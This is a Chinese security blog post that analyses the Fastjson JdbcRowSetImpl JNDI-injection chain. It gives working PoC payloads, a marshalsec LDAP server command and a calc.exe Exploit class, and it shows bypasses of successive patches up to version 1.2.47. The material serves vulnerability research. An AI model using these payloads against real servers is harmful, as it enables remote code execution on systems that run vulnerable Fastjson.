Java安全之FastJson JdbcRowSetImpl 链分析

0x00 前言

续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl 的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。

0x01 漏洞分析

利用限制

首先来说说限制,基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

攻击流程

  1. 首先是这个lookup(URI)参数可控
  2. 攻击者控制URI参数为指定为恶意的一个RMI服务
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  5. 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

JDNI注入细节

简单分析一下lookup参数可控后,如何走到RCE.

调用链:

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);

loadclass进行实例化,触发静态代码块的Runtime代码执行命令执行。

调试分析

影响版本:fastjson <= 1.2.24

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。

  • @type:目标反序列化类名;
  • dataSourceName:RMI注册中心绑定恶意服务;
  • autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。

详细分析fastjson如何解析可查看Fastjson TemplatesImpl链分析文章,再次不做赘诉。

启动LDAP服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit代码,需将代码编译成class文件然后挂在到web中

import java.io.IOException;

public class Exploit {
public Exploit() {
}
static {
try { Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}

POC代码:

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
} }

看到payload中的dataSourceName参数在解析时候则会调用setDataSourceNameDataSourceNamece变量进行赋值,来看到代码

autoCommit也一样会调用setAutoCommit

setAutoCommit方法调用this.connect();

lookup中则是传入了this.getDataSourceName(),返回dataSource变量内容。而这个dataSource内容则是在前面setDataSourceName方法中进行设置的,该参数是可控的。所以可以进行JDNI注入从而达到命令执行。

利用链

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)

而在Fastjson JdbcRowSetImpl 链利用中,则是利用了后半段。

0x02 绕过方式

1.2.25版本修复

先将Fastjson组件升级到1.2.25版本后进行发送payload,查看是否能够利用成功。

修复改动:

  1. 自从1.2.25 起 autotype 默认为False
  2. 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制

Fastjson AutoType说明

根据官方文档开启AutoType的方式,假设不开启该功能是无法进行反序列化的。因为默认白名单是空的,需要自定义。白名单的绕过基本不可能,都是从黑名单作为入口。白名单需要添加,而黑名单中则是内置在Fastjson中。

1、JVM启动参数

-Dfastjson.parser.autoTypeSupport=true

2、代码中设置

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

下面来看代码,这里使用了IDEA中的jar包对比功能

可以看到DefaultJSONParser发送了变动,在这里多了一个checkAutoType方法去做校验。

跟进方法查看

前面会进行白名单的校验,如果匹配中的话调用loadClass加载,返回一个Class对象。 这里默认白名单的列表为空。

后面这则是会恶意类的黑名单进行匹配,如果加载类的前面包含黑名单所定义的字符则抛出异常。

1.2.25-1.2.41 绕过

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig; public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

先来调试不开启的情况,前面依旧就会遍历黑名单对class进行赋值,但最后这个会去检测如果未开启,则直接抛异常,开启则会去返回。

将注释打开后,则直接返回class

命令执行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl为什么也会触发命令执行?

原因在于com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);方法中,可跟进查看。

这里解析到内容如果为L开头,;结尾的话就会将这2个字符清空,前面其实还有一个[

1.2.42 修复方式

修复改动:明文黑名单改为HASH值,checkcheckAutoType方法添加L;字符过滤。

加密方法位于com.alibaba.fastjson.util.TypeUtils#fnv1a_64可将进行碰撞获取值。

1.2.42绕过方式

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig; public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
} }

com.alibaba.fastjson.parser#checkcheckAutoType中将L;进行清空。这里是利用了双写的方式,前面的规则将第一组L;,进行清空,而在TypeUtils.loadclass中将第二组内容清空。

1.2.43 修复方式

在1.2.43版本中对了LL开头的绕过进行了封堵

//hash计算基础参数            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L开头,;结尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL开头                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. " + typeName);                }                className = className.substring(1, className.length() - 1);            }

再次执行poc代码可以看到报错了。

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 绕过方式

前面可以看到[也进行了清空,可以从该地方进行入手。

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

执行报错了,报错信息如下:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提示缺少了一个{

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

1.2.44 修复方式

[进行限制,具体实现可自行查看。

再次执行前面的poc代码可以看到报错了。

1.2.45绕过方式

利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
} }

下面来分析一下使用这个payload为什么能绕过。其实是借助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory进行绕过,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory并不在黑名单中。

这里是对反序列化后的对象是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

传入properties参数,则会去自动调用setProperties

而在1.2.46无法执行成功,应该是对该类拉入了黑名单中。

1.2.25-1.2.47通杀

为什么说这里标注为通杀呢,其实这里和前面的绕过方式不太一样,这里是可以直接绕过AutoTypeSupport,即便关闭AutoTypeSupport也能直接执行成功。

先来看payload

public class POC {    public static void main(String[] args) {              String PoC = "{\n" +                "    \"a\":{\n" +                "        \"@type\":\"java.lang.Class\",\n" +                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +                "    },\n" +                "    \"b\":{\n" +                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +                "        \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" +                "        \"autoCommit\":true\n" +                "    }\n" +                "}";        JSON.parse(PoC);    }}

可以看到payload和前面的payload构造不太一样,这里来分析一下。

这里未开启AutoTypeSupport不会走到下面的黑白名单判断。

fastjson会使用 checkAutoType 方法来检测@type中携带的类,但这次我们传入的是一个java.lang.class

来看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject方法中

跟进deserialze方法查看,这里的deserialzeMiscCodec#deserialze

上面代码会从objVal = parser.parse();获取内容为com.sun.rowset.JdbcRowSetImpl。来看到下面

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中。

这里的true参数代表开启缓存,如果开启将恶意类存储到mapping中

断点来到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType

因为前面将com.sun.rowset.JdbcRowSetImpl所以这里能获取到com.sun.rowset.JdbcRowSetImpl该判断不为true,从而绕过黑名单。

而后续则是和前面的一样,通过dataSourceName触发对于的set方法将dataSourceName变量进行设置,而后通过autoCommit,触发setAutoCommit触发lookup()达到命令执行。

参考文章

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/7027

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

http://wjlshare.com/archives/1526

0x03 结尾

其实后面还有几个绕过的方式后面再去做分析,除此外还有一些BCEL来解决fastjson不出网回显等方面都值得去思考和研究。

Java安全之FastJson JdbcRowSetImpl 链分析的更多相关文章

  1. Java安全之Fastjson内网利用

    Java安全之Fastjson内网利用 0x00 前言 在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是 JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况 ...

  2. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  3. java代码中fastjson生成字符串和解析字符串的方法和javascript文件中字符串和json数组之间的转换方法

    1.java代码中fastjson生成字符串和解析字符串的方法 List<TemplateFull> templateFulls = new ArrayList<TemplateFu ...

  4. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

  5. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  6. Java Hour 42 fastjson

    fastjson 神一样的存在,然后由于缺乏文档,很多功能完全不知道该怎么用. 42.1 字段的大小写问题 刚开始没想到会因为字段的大小写问题而导致反序列化json 失败. @Override pub ...

  7. java中使用fastjson、jackson、json-lib解析JSON-------------------妈妈再也不用担心JSON解析

    1.fastjson引入包<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjso ...

  8. Java中让fastJson识别Colloction和Map中的泛型类

    由于fastJson的高效性,最近采用fastJson来做序列化并存储数据,但出现了一个麻烦的问题,如果将Map<K,V>这样的类型序列化,反序列化就会不尽人意,有以下尝试: 使用JSON ...

  9. Java基础/利用fastjson序列化对象为JSON

    利用fastjson序列化对象为JSON 参考博客:http://blog.csdn.net/zeuskingzb/article/details/17468079 Step1:定义实体类 //用户类 ...

随机推荐

  1. 使用jhipster 加速java web开发

    jhipster,中文释义: Java 热爱者! JHipster is a development platform to quickly generate, develop, & depl ...

  2. java例题_10小球 自由落体

    1 /*10 [程序 10 自由落体] 2 题目:一球从 100 米高度自由落下,每次落地后反跳回原高度的一半: 3 求它在 第 10 次落地时,共经过多少米? 4 第 10 次反弹多高? 5 */ ...

  3. Android学习之 AlertDialog

    •AlertDialog简介 AlertDialog 可以在当前界面弹出一个对话框: 这个对话框是置顶于所有界面元素之上的,能够屏蔽掉其他控件的交互能力: 因此, AlertDialog 一般用于提示 ...

  4. [源码解析] 并行分布式框架 Celery 之 worker 启动 (2)

    [源码解析] 并行分布式框架 Celery 之 worker 启动 (2) 目录 [源码解析] 并行分布式框架 Celery 之 worker 启动 (2) 0x00 摘要 0x01 前文回顾 0x2 ...

  5. 用Python优雅的写出送给女儿的藏头诗

    2016年迎来了我的小土匪,忙活了一年,在17年的4月加班的夜里因思念以小土匪的名字写了一首藏头发了朋友圈,不温不火,最近在看python,那么如何用python优雅的用写出这首诗了? 执行 代码 i ...

  6. RabbitMQ 入门 (Go) - 4. 使用 Fanout Exchange 做服务发现(上)

    到目前为止,我们项目的结果大致如下: 传感器生成的模拟数据(包含传感器名称.数据.时间戳)是通过传感器在运行时动态创建的 Queue 来发送的.这些 Queue 很难直接被发现. 为了解决这个问题,我 ...

  7. Alluxio+HDFS+MapReduce集成及测试

    目录 1.在 HDFS 上配置 Alluxio 1.1.节点角色 1.2.软件版本 1.3.准备工作 1.3.1.设置 SSH 免密登录 1.3.2.安装 JDK 1.3.3.安装 Hadoop 1. ...

  8. SpringCloud(六)分布式事务

    在分布式系统中,分布式事务基本上是绕不开的, 分布式事务是指事务的参与者.支持事务的服务器.资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上 .其实就可以简单理解成在分布式系统中实现事务 ...

  9. 基于Hive进行数仓建设的资源元数据信息统计:Spark篇

    在数据仓库建设中,元数据管理是非常重要的环节之一.根据Kimball的数据仓库理论,可以将元数据分为这三类: 技术元数据,如表的存储结构结构.文件的路径 业务元数据,如血缘关系.业务的归属 过程元数据 ...

  10. 《构建之法》& CI/CD调研

    项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 2021年软工-个人阅读作业2 我在这个课程的目标是 提升软件开发能力与团队意识 这个作业在哪个具体方面帮助 ...